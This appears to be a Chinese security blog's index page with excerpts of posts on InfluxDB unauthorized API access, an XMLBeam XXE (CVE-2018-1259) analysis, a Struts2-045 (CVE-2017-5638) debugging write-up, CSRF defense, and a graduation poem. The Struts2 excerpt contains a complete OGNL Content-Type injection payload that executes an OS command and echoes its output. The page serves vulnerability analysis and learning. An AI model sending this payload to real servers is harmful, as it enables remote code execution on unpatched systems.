InfluxDB API 未授权访问漏洞简单利用

作者: LandGrey ●   创建时间: 2018年12月8日 15:24 ●   标签:   #渗透测试

0x00: 简介 InfluxDB 是一个使用Go语言编写的开源分布式,支持高并发的时序数据库。在 InfluxDB 中,每条数据都可以粗略看成是虚拟 key=value 的形式,如语句INSERT cpu,host=serverA,region=us_west value=0.64表示往数据库中插入一条指标名为 cup, 标签集 host为 serverA, region 为 us_west 的, 值是 0.64 的数据。具体的数据概念和含义可以参考 InfluxDB 官方文档。InfluxDB 提供三种操作方式:CLIHTTP (包括API 接口和Web 管理界面)各语言的API库但实际上以上操作方式其实都是在调用 InfluxDB 实现的 API 接口,API 接口的两个常用操作是 query(查询数据)和 write(更改数据)。0x01: 产生原因InfluxDB 的Web 操作界面默认运行在 localhost 8083 端口; HTTP API 接口默认运行在 localhost 8086 端口如果直接将只能本机访问到的 localhost 改为内网或者公网IP,没有配置访问控制的口令,便可能会产生未授权访问漏洞。0x02: 漏洞发现扫描默认的 8083 ...

更多 →

毕业诗

作者: LandGrey ●   创建时间: 2018年8月26日 18:19 ●   标签:   #诗词

毕业时有感而作,纪念一下啦~ 毕业诗— LandGrey千帆竞去白衣少,思量缄言道阻长。同窗置腹杯盏照,不坠青云月满江。

更多 →

XMLBeam-XXE(CVE-2018-1259)漏洞简析

作者: LandGrey ●   创建时间: 2018年8月21日 01:50 ●   标签:   #分享,   #网络安全,   #代码审计

0x00: 漏洞信息 根据 CVE-2018-1259 的信息可知, Spring Data Commons 版本在 1.13—1.13.11 和 2.0—2.0.6 ,Spring Data REST 版本在 2.6-2.6.11 和 3.0-3.0.6,因为使用了小于等于 1.4.14 版本的 XMLBeam 导致存在XML实体注入漏洞。 0x01: 环境搭建 由于 XXE 漏洞实际是存在于 XMLBeam 中,所以我们写一个简单的调用 XMLBeam 的代码,用来触发漏洞,版本就选择可以触发漏洞的最新版 XMLBeam ,所以首先下载 1.4.14版本 XMLBeam 备用。 然后使用 IDEA 创建一个 名为 demo 的 Spring Boot 应用,主要是添加一个 "/login" RequestMapping URL映射路径,模拟使用XML数据认证进行登录。 主要代码文件 ...

更多 →

struts2-045漏洞Debug与POC分析

作者: LandGrey ●   创建时间: 2018年8月19日 14:39 ●   标签:   #网络安全,   #Web安全备忘录,   #代码审计

0x00:环境准备 通过 Apache Struts2 Release 页面可知:受struts2-045(CVE-2017-5638)漏洞影响的最新struts版本为 Struts 2.5.10, 在官方 archive 页面下载Struts 2.5.10 showcase(app)版本,用Tomcat 7本地部署应用进行debug。 0x01:调试准备 补丁移除了 apache/struts2/interceptor/FileUploadInterceptor.java 文件中 LocalizedTextUtil.findText() 函数对错误信息的处理部分: 漏洞信息: 1.漏洞发生在 Jakarta 上传解析器 2.受影响struts版本是Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10 3.通过Content-Type这个header头,进而执行命令,通过 Strus2 对错误消息的处理进行回显 POC (Windows 弹计算器): ${(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; 0x02:正式调试 根据上面的信息,用IDEA 在 struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/Dispatcher.class 第584行下第一个断点: 然后如下图所示,用Burpsuite在 HTTP Content-Type ...

更多 →

再谈CSRF漏洞防御

作者: LandGrey ●   创建时间: 2018年6月19日 19:50 ●   标签:   #渗透测试,   #Web安全备忘录

漏洞简述用户认证成功后访问或点击了黑客控制的网站链接,浏览器根据黑客网页代码指示,使用用户的身份凭证(Cookie)自动请求服务器,冒充用户身份完成恶意操作。 根本原因HTTP协议是无状态的协议,所以引入了Cookie机制来辨识和跟踪用户,但Cookie最初被设计成允许在第三方网站发起的请求中携带,从而成为CSRF漏洞滋生的土壤。 利用流程测试思路下面的英文描述更清楚简洁一点 Perform the request without modifying the parameters, see what the result is Remove the CSRF token completely Modify one of the characters in the token (keep the length same) Remove the value of the token (leave the parameter in place) POST request cnvert to a GET request ...

更多 →
<